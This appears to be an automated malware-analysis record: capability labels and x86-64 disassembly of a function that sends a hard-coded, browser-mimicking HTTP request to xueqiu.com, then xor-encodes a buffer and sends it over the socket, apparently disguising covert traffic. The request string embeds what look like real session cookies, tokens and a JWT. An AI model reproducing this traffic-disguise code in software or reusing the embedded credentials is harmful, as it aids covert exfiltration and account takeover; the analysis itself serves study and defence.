Function at 0x140004040
Capabilities:
Encode data using xor
Make an http request with a cookie
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov ebp, r8d
mov rdi, rdx
mov r8d, dword [0x1402493a0]
lea rdx, str.GET__statuses_original_timeline.json_user_id1000160141page1count10_HTTP_1.1_r_nHost:_xueqiu.com_r_nConnection:_keep_alive_r_nsec_ch_ua:__Not.A_Brand__v_8____Chromium__v_114____Google_Chrome__v_114__r_nAccept:___r_nX_Requested_With:_XMLHttpRequest_r_nsec_ch_ua_mobile:__0_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_114.0.5735.289_Safari_537.36_r_nelastic_apm_traceparent:_00_33ab7b084584f7a2d691806d12f0017f_89a062b1b09a3a0a_00_r_nsec_ch_ua_platform:__Windows__r_nSec_Fetch_Site:_same_origin_r_nSec_Fetch_Mode:_cors_r_nSec_Fetch_Dest:_empty_r_nReferer:_https:__xueqiu.com_u_1000160141_r_nAccept_Encoding:_gzip__deflate__br_r_nAccept_Language:_zh_CN_zh_q0.9_r_nCookie:_cookiesu851700627332280__device_id84ced64554d8060750b1528dc22a3696__saf1smyc0j1__bid8537d66bd012650ab687a921aaa4611e_lp99mn2k____utmz1.1700627371.1.1.utmcsr_direct_utmccn_direct_utmcmd_none___smidV2202403290832443dc13403989ca3e9ec5ef696869d6930008f1e4f12b82fe50__u2580154070__xq_a_token07f433101dbdcec793c1f6f909ebeafa2fd5b83a__xqat07f433101dbdcec793c1f6f909ebeafa2fd5b83a__xq_r_token2d10b80a32d2b5aa2054044ebe361564dd29d8c7__xq_id_tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1aWQiOjI1ODAxNTQwNzAsImlzcyI6InVjIiwiZXhwIjoxNzE2MTI4NTM4LCJjdG0iOjE3MTM1MzY1ODA3NzYsImNpZCI6ImQ5ZDBuNEFadXAifQ.V26lreUCqLBidN5ImUlS4vh1Lf2aLklC9gPvCbiQf8FTrb4UToLSXvsCU1gWuE_xYYYzXt_AnismwfvHxSvwlEM11WiSIk1_7Nv1oIuB5a9BOhj8jNCOKgmtVZXAEyzmiFWpFHmNCG3lM5_eeUFjudFw1EYHYQHDdSm5mDCm1bAkq_7QVgjr6dJqpLMj_9TIGDull8u0edY2TQwqa_4YaQ_17HxPSmOq9zHfgPZTmAgxLiIVMj82BriizJxdAx8UrLkhC1LCe2plzHWvftGPDk8y3DZgUku_WVYfwq7qUYylhJOA2WZw1AiD_1U5DXnZX3Ui__wBZA3fmbJS9RfivA__xq_is_login1____utma1.1873877636.1700627371.1713536538.1713538839.43__Hm_lvt_1db88642e346389874251b5a1eded6e31712066047_1712833642_1713536538_1713542613__snbim_minifytrue__Hm_lpvt_1db88642e346389874251b5a1eded6e31713593992__.thumbcache_f24b8bbe5a5934237bbc0eda20c1b6e7vmHmnrQ56Q5S0_zuqrK2sT6BObnT2jTUVPDN1eJnTsvDLA2zE3N3torQOXWh54rv5UruzQaNwldGxuRdfHD3A_3D_3D__acw_tc2760779e17135941150575400ec1325a2bce3efe6169c88882f18fc52ebe9b_r_n
xor r9d, r9d
mov r15, rcx
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [0x14023a2a0]
mov rcx, r15
lea r8d, [r9 + 8]
call qword [sym.imp.WS2_32.dll_send]
call fcn.14018f1f4
mov byte [rsp + 0x30], al
call fcn.14018f1f4
mov byte [rsp + 0x31], al
call fcn.14018f1f4
mov byte [rsp + 0x32], al
call fcn.14018f1f4
mov ecx, ebp
mov byte [rsp + 0x33], al
mov ebx, dword [rsp + 0x30]
add ecx, 0x40
mov r13, 0xffffffffffffffff
cmovb rcx, r13
call fcn.14018f1ec
xor esi, esi
mov r12, rax
mov r8d, esi
test ebp, ebp
jle 0x140004105
mov rdx, rax
sub rdi, rax
nop dword [rax]
nop word [rax + rax]
movzx ecx, r8b
inc r8d
xor cl, byte [rdi + rdx]
mov byte [rdx], cl
lea rdx, [rdx + 1]
cmp r8d, ebp
jl 0x1400040f0
mov ecx, ebp
add ecx, 0x2000
cmovb rcx, r13
call fcn.14018f1ec
lea edi, [rbp + 0x2000]
xor edx, edx
movsxd r8, edi
mov rcx, rax
mov r14, rax
call fcn.14018b430
lea rdx, [r14 + 8]
mov r9d, edi
mov r8d, ebp
mov rcx, r12
call fcn.140003630
mov rcx, r12
mov ebp, eax
call fcn.14018f1d8
lea edi, [rbp + 8]
mov dword [r14 + 4], ebp
mov dword [r14], ebx
lea rdx, [r14 + 4]
cmp edi, 4
jle 0x140004178
lea r8d, [rdi - 4]
nop
xor byte [rdx], bl
lea rdx, [rdx + 1]
shr ebx, 8
xor ebx, 0x7359a7c3
lea ebx, [rbx + rbx*8]
sub r8, 1
jne 0x140004160
mov ebx, esi
nop word [rax + rax]
mov r8d, ebp
movsxd rdx, esi
sub r8d, esi
add rdx, r14
add r8d, 8
xor r9d, r9d
mov rcx, r15
cmp r8d, 0x2000
jle 0x1400041a5
mov r8d, 0x2000
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r13d
jne 0x1400041ca
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140004217
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004180
test eax, eax
jne 0x1400041e3
lea ecx, [rax + 0x14]
inc ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xf
jle 0x140004180
mov eax, r13d
jmp 0x1400041f7
add esi, eax
cmp esi, edi
jl 0x140004180
mov rcx, r14
call fcn.14018f1d8
cmp esi, edi
jne 0x14000421f
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rcx, r14
call fcn.14018f1d8
mov eax, r13d
jmp 0x1400041f7